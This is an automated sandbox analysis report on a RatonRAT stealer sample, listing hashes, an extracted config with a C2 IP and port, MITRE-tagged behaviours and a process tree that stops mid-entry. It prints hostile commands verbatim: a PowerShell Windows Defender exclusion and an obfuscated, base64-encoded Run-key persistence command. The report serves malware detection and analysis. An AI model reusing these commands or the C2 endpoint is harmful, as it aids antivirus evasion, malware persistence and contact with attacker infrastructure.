ratonrat | a21386111a81a0c91fc72dc536a5b4ee5979f9ec904bab8241701efccd4220b2

Analysis

max time kernel
150s
max time network
118s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 11:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a21386111a81a0c91fc72dc536a5b4ee5979f9ec904bab8241701efccd4220b2.exe
Size 1.4MB
Sample260910-m5wg8abl31
SHA256 a21386111a81a0c91fc72dc536a5b4ee5979f9ec904bab8241701efccd4220b2
MD5 99fe8f956c0d011baaf21fca0b9279c1
SHA1 f1d53aa486fd17f1731887948f35b5cb0e624879
SHA512 0dba645c86af587b14f55752c8662eebc34b62831da9bac459767b5c576152d92a45073bb2c80dc74cddd8995c35086816ad16045558e0c212a8858de1220d91
SSDEEP 24576:RdvSjP/2oSdvj7hSe2BiSe74xndpuIkn3v1eV1o1cLEINRgyo1C1S7dHeT/:Hqb/2oSl70e2wc/HMveqohza1V7dHer
TLSH
T1256512142617CE01E1A51FB405E1D3B416748F85A913D34BFEEA3DEBB93B79A2E012D2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution ratonrat persistence stealer

Malware Config

Extracted

Family

ratonrat

Version

Free

91.239.6.97:9090

Mutex

ouGJZOPaw71rba4l7pIQv4B

Attributes

assist
false
box
false
box_icon
No icon
box_msg
Hello, i'm the description of your raton client message box
box_title
Hello, im a title for your message box
defender
true
delay
0
hide_file
true
open_website
false
process_critical
true
raw
silly21
reconnect
3
startup
true
tag
skype
uac
false
vm
false
website
https://t.me/sillyisafed

Signatures

Family: RatonRAT
RatonRAT is an information stealer written in C#.
stealer ratonrat

Detects RatonRAT payload 1 IoCs

resource	yara_rule
behavioral2/memory/4648-18-0x0000000000400000-0x000000000049A000-memory.dmp	family_ratonrat

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1504	powershell.exe
5520	powershell.exe
1888	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3108	GJK.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\GJK = "\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$1gn4cz=Get-Date;$3sbboc=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$l4i4rl=3489;$slavre=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXEdKSy5leGU=')));$45kpjq=$env:COMPUTERNAME;& $3sbboc -FilePath $slavre\""	a21386111a81a0c91fc72dc536a5b4ee5979f9ec904bab8241701efccd4220b2.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3520 set thread context of 4648	3520	a21386111a81a0c91fc72dc536a5b4ee5979f9ec904bab8241701efccd4220b2.exe	91
PID 3108 set thread context of 5516	3108	GJK.exe	124

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5468	cmd.exe
5392	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GJK.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe

Delays execution with timeout.exe 64 IoCs

defense_evasion

pid	Process
3284	timeout.exe
4536	timeout.exe
2640	timeout.exe
3624	timeout.exe
4332	timeout.exe
3000	timeout.exe
3552	timeout.exe
4944	timeout.exe
4336	timeout.exe
3420	timeout.exe
2464	timeout.exe
2752	timeout.exe
2368	timeout.exe
2824	timeout.exe
3244	timeout.exe
1396	timeout.exe
5372	timeout.exe
2416	timeout.exe
3068	timeout.exe
1336	timeout.exe
1800	timeout.exe
1556	timeout.exe
4424	timeout.exe
5524	timeout.exe
3568	timeout.exe
4616	timeout.exe
5268	timeout.exe
5548	timeout.exe
1056	timeout.exe
3356	timeout.exe
2460	timeout.exe
2392	timeout.exe
4812	timeout.exe
2460	timeout.exe
2008	timeout.exe
2444	timeout.exe
5044	timeout.exe
4688	timeout.exe
2364	timeout.exe
5644	timeout.exe
5500	timeout.exe
4900	timeout.exe
5720	timeout.exe
4972	timeout.exe
2036	timeout.exe
2680	timeout.exe
1484	timeout.exe
5632	timeout.exe
3348	timeout.exe
2816	timeout.exe
1072	timeout.exe
4280	timeout.exe
2908	timeout.exe
1668	timeout.exe
2868	timeout.exe
3028	timeout.exe
3640	timeout.exe
6068	timeout.exe
2544	timeout.exe
3140	timeout.exe
2928	timeout.exe
5692	timeout.exe
4236	timeout.exe
2452	timeout.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
3520	a21386111a81a0c91fc72dc536a5b4ee5979f9ec904bab8241701efccd4220b2.exe
3520	a21386111a81a0c91fc72dc536a5b4ee5979f9ec904bab8241701efccd4220b2.exe
1504	powershell.exe
1504	powershell.exe
1888	powershell.exe
1888	powershell.exe
1888	powershell.exe
3108	GJK.exe
3108	GJK.exe
3108	GJK.exe
3108	GJK.exe
3108	GJK.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe

Suspicious use of AdjustPrivilegeToken 47 IoCs

description	pid	Process
Token: SeDebugPrivilege	3520	a21386111a81a0c91fc72dc536a5b4ee5979f9ec904bab8241701efccd4220b2.exe
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeDebugPrivilege	1888	powershell.exe
Token: SeIncreaseQuotaPrivilege	1504	powershell.exe
Token: SeSecurityPrivilege	1504	powershell.exe
Token: SeTakeOwnershipPrivilege	1504	powershell.exe
Token: SeLoadDriverPrivilege	1504	powershell.exe
Token: SeSystemProfilePrivilege	1504	powershell.exe
Token: SeSystemtimePrivilege	1504	powershell.exe
Token: SeProfSingleProcessPrivilege	1504	powershell.exe
Token: SeIncBasePriorityPrivilege	1504	powershell.exe
Token: SeCreatePagefilePrivilege	1504	powershell.exe
Token: SeBackupPrivilege	1504	powershell.exe
Token: SeRestorePrivilege	1504	powershell.exe
Token: SeShutdownPrivilege	1504	powershell.exe
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeSystemEnvironmentPrivilege	1504	powershell.exe
Token: SeRemoteShutdownPrivilege	1504	powershell.exe
Token: SeUndockPrivilege	1504	powershell.exe
Token: SeManageVolumePrivilege	1504	powershell.exe
Token: 33	1504	powershell.exe
Token: 34	1504	powershell.exe
Token: 35	1504	powershell.exe
Token: 36	1504	powershell.exe
Token: SeDebugPrivilege	3108	GJK.exe
Token: SeDebugPrivilege	5520	powershell.exe
Token: SeIncreaseQuotaPrivilege	5520	powershell.exe
Token: SeSecurityPrivilege	5520	powershell.exe
Token: SeTakeOwnershipPrivilege	5520	powershell.exe
Token: SeLoadDriverPrivilege	5520	powershell.exe
Token: SeSystemProfilePrivilege	5520	powershell.exe
Token: SeSystemtimePrivilege	5520	powershell.exe
Token: SeProfSingleProcessPrivilege	5520	powershell.exe
Token: SeIncBasePriorityPrivilege	5520	powershell.exe
Token: SeCreatePagefilePrivilege	5520	powershell.exe
Token: SeBackupPrivilege	5520	powershell.exe
Token: SeRestorePrivilege	5520	powershell.exe
Token: SeShutdownPrivilege	5520	powershell.exe
Token: SeDebugPrivilege	5520	powershell.exe
Token: SeSystemEnvironmentPrivilege	5520	powershell.exe
Token: SeRemoteShutdownPrivilege	5520	powershell.exe
Token: SeUndockPrivilege	5520	powershell.exe
Token: SeManageVolumePrivilege	5520	powershell.exe
Token: 33	5520	powershell.exe
Token: 34	5520	powershell.exe
Token: 35	5520	powershell.exe
Token: 36	5520	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3520 wrote to memory of 1504	3520	a21386111a81a0c91fc72dc536a5b4ee5979f9ec904bab8241701efccd4220b2.exe	89
PID 3520 wrote to memory of 4648	3520	a21386111a81a0c91fc72dc536a5b4ee5979f9ec904bab8241701efccd4220b2.exe	91
PID 3520 wrote to memory of 4648	3520	a21386111a81a0c91fc72dc536a5b4ee5979f9ec904bab8241701efccd4220b2.exe	91
PID 3520 wrote to memory of 4648	3520	a21386111a81a0c91fc72dc536a5b4ee5979f9ec904bab8241701efccd4220b2.exe	91
PID 3520 wrote to memory of 4648	3520	a21386111a81a0c91fc72dc536a5b4ee5979f9ec904bab8241701efccd4220b2.exe	91
PID 3520 wrote to memory of 4648	3520	a21386111a81a0c91fc72dc536a5b4ee5979f9ec904bab8241701efccd4220b2.exe	91
PID 4648 wrote to memory of 5468	4648	RegSvcs.exe	92
PID 5468 wrote to memory of 5220	5468	cmd.exe	95
PID 5468 wrote to memory of 3244	5468	cmd.exe	97
PID 1888 wrote to memory of 3108	1888	powershell.exe	98
PID 5468 wrote to memory of 1948	5468	cmd.exe	100
PID 5468 wrote to memory of 3640	5468	cmd.exe	101
PID 5468 wrote to memory of 3192	5468	cmd.exe	103
PID 5468 wrote to memory of 2428	5468	cmd.exe	104
PID 5468 wrote to memory of 2516	5468	cmd.exe	105
PID 5468 wrote to memory of 5720	5468	cmd.exe	106
PID 5468 wrote to memory of 3552	5468	cmd.exe	107
PID 5468 wrote to memory of 4256	5468	cmd.exe	108
PID 5468 wrote to memory of 704	5468	cmd.exe	109
PID 5468 wrote to memory of 1932	5468	cmd.exe	110
PID 5468 wrote to memory of 5076	5468	cmd.exe	111
PID 5468 wrote to memory of 2652	5468	cmd.exe	112
PID 5468 wrote to memory of 5544	5468	cmd.exe	113
PID 5468 wrote to memory of 4424	5468	cmd.exe	114
PID 5468 wrote to memory of 5372	5468	cmd.exe	115
PID 5468 wrote to memory of 1108	5468	cmd.exe	116
PID 5468 wrote to memory of 4464	5468	cmd.exe	117
PID 5468 wrote to memory of 5980	5468	cmd.exe	118
PID 5468 wrote to memory of 2824	5468	cmd.exe	119
PID 5468 wrote to memory of 4812	5468	cmd.exe	120
PID 3108 wrote to memory of 5520	3108	GJK.exe	121
PID 3108 wrote to memory of 576	3108	GJK.exe	123
PID 3108 wrote to memory of 5516	3108	GJK.exe	124
PID 3108 wrote to memory of 5516	3108	GJK.exe	124
PID 3108 wrote to memory of 5516	3108	GJK.exe	124
PID 3108 wrote to memory of 5516	3108	GJK.exe	124
PID 3108 wrote to memory of 5516	3108	GJK.exe	124
PID 5516 wrote to memory of 5392	5516	RegSvcs.exe	125
PID 5392 wrote to memory of 4552	5392	cmd.exe	127
PID 5468 wrote to memory of 5268	5468	cmd.exe	128
PID 5392 wrote to memory of 2460	5392	cmd.exe	129
PID 5468 wrote to memory of 4304	5468	cmd.exe	130
PID 5392 wrote to memory of 1072	5392	cmd.exe	131
PID 5468 wrote to memory of 1840	5468	cmd.exe	132
PID 5392 wrote to memory of 4972	5392	cmd.exe	133
PID 5468 wrote to memory of 2416	5468	cmd.exe	134
PID 5468 wrote to memory of 2012	5468	cmd.exe	135
PID 5392 wrote to memory of 6068	5392	cmd.exe	136
PID 5392 wrote to memory of 1376	5392	cmd.exe	137
PID 5468 wrote to memory of 2392	5468	cmd.exe	138
PID 5392 wrote to memory of 4852	5392	cmd.exe	139
PID 5468 wrote to memory of 3092	5468	cmd.exe	140
PID 5468 wrote to memory of 4728	5468	cmd.exe	141
PID 5392 wrote to memory of 2256	5392	cmd.exe	142
PID 5468 wrote to memory of 5476	5468	cmd.exe	143
PID 5392 wrote to memory of 5480	5392	cmd.exe	144
PID 5468 wrote to memory of 2008	5468	cmd.exe	145
PID 5392 wrote to memory of 2168	5392	cmd.exe	146
PID 5468 wrote to memory of 244	5468	cmd.exe	147
PID 5392 wrote to memory of 4708	5392	cmd.exe	148
PID 5392 wrote to memory of 3116	5392	cmd.exe	149
PID 5468 wrote to memory of 4312	5468	cmd.exe	150
PID 5392 wrote to memory of 2444	5392	cmd.exe	151
PID 5468 wrote to memory of 480	5468	cmd.exe	152

C:\Users\Admin\AppData\Local\Temp\a21386111a81a0c91fc72dc536a5b4ee5979f9ec904bab8241701efccd4220b2.exe
"C:\Users\Admin\AppData\Local\Temp\a21386111a81a0c91fc72dc536a5b4ee5979f9ec904bab8241701efccd4220b2.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3520
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a21386111a81a0c91fc72dc536a5b4ee5979f9ec904bab8241701efccd4220b2.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1504
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4648
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\cleanup_9PFLPIJB5wmwyxbuInPyCnQG35RMZt.bat""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5468
  - - C:\Windows\SysWOW64\chcp.com
      chcp 65001
      4⤵
      System Location Discovery: System Language Discovery
      PID:5220
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      PID:3244
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1948
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:3640
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:3192
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2428
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2516
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5720
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3552
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4256
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:704
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1932
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      PID:5076
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2652
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5544
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      PID:4424
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      PID:5372
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1108
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4464
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5980
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2824
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4812
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5268
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4304
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      PID:1840
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2416
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2012
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2392
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      PID:3092
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4728
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5476
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2008
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:244
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4312
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:480
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:3068
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1240
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5548
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2036
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      PID:3220
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5044
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1056
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:2680
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:2816
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:3624
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5680
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:476
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2812
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4332
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      PID:4700
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2852
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1800
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2944
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4540
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4600
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4928
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5072
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4344
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:3568
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2516
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4492
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2156
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1424
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:3156
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      PID:5088
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      PID:2404
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5372
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4616
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2792
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5632
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5524
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      PID:2636
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5904
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:1396
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:3764
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      PID:5672
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:2544
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2364
  - - C:\Windows\SysWOW64\timeout.exe
